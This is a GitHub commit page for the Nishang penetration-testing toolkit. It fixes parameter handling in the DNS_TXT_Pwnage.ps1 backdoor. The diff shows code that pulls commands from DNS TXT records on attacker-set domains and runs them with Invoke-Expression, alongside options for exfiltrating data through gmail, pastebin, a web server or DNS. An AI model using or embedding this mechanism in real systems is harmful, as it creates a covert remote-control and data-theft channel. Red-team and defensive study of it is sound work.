Skip to content

Commit

Permalink
DNS_TXT_Pwnage bug when exfil and no authns especified. samratashok#96
Browse files Browse the repository at this point in the history
  • Loading branch information
georgemulder committed Sep 5, 2023
1 parent d87229d commit 64a4540
Showing 1 changed file with 4 additions and 5 deletions.
9 changes: 4 additions & 5 deletions Backdoors/DNS_TXT_Pwnage.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -157,7 +157,7 @@ https://github.com/samratashok/nishang

[Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]
[Parameter(Position = 8, Mandatory = $False, Parametersetname="noexfil")]
[String]$AuthNS,
[String]$AuthNS = "null",

[Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
[String]
Expand Down Expand Up @@ -196,8 +196,7 @@ function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $ps
{
$exec = 0
start-sleep -seconds 5
if ($AuthNS -ne $null)
if ($AuthNS -ne "null")
{
$getcode = (Invoke-Expression "nslookup -querytype=txt $startdomain $AuthNS")
}
Expand All @@ -211,7 +210,7 @@ function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $ps
{
start-sleep -seconds 5
if ($AuthNS -ne $null)
if ($AuthNS -ne "null")
{
$getcommand = (Invoke-Expression "nslookup -querytype=txt $commanddomain $AuthNS")
}
Expand Down Expand Up @@ -242,7 +241,7 @@ function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $ps
while ($i -le $subdomains)
{
if ($AuthNS -ne $null)
if ($AuthNS -ne "null")
{
$getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$psdomain $AuthNS")
}
Expand Down

0 comments on commit 64a4540

Please sign in to comment.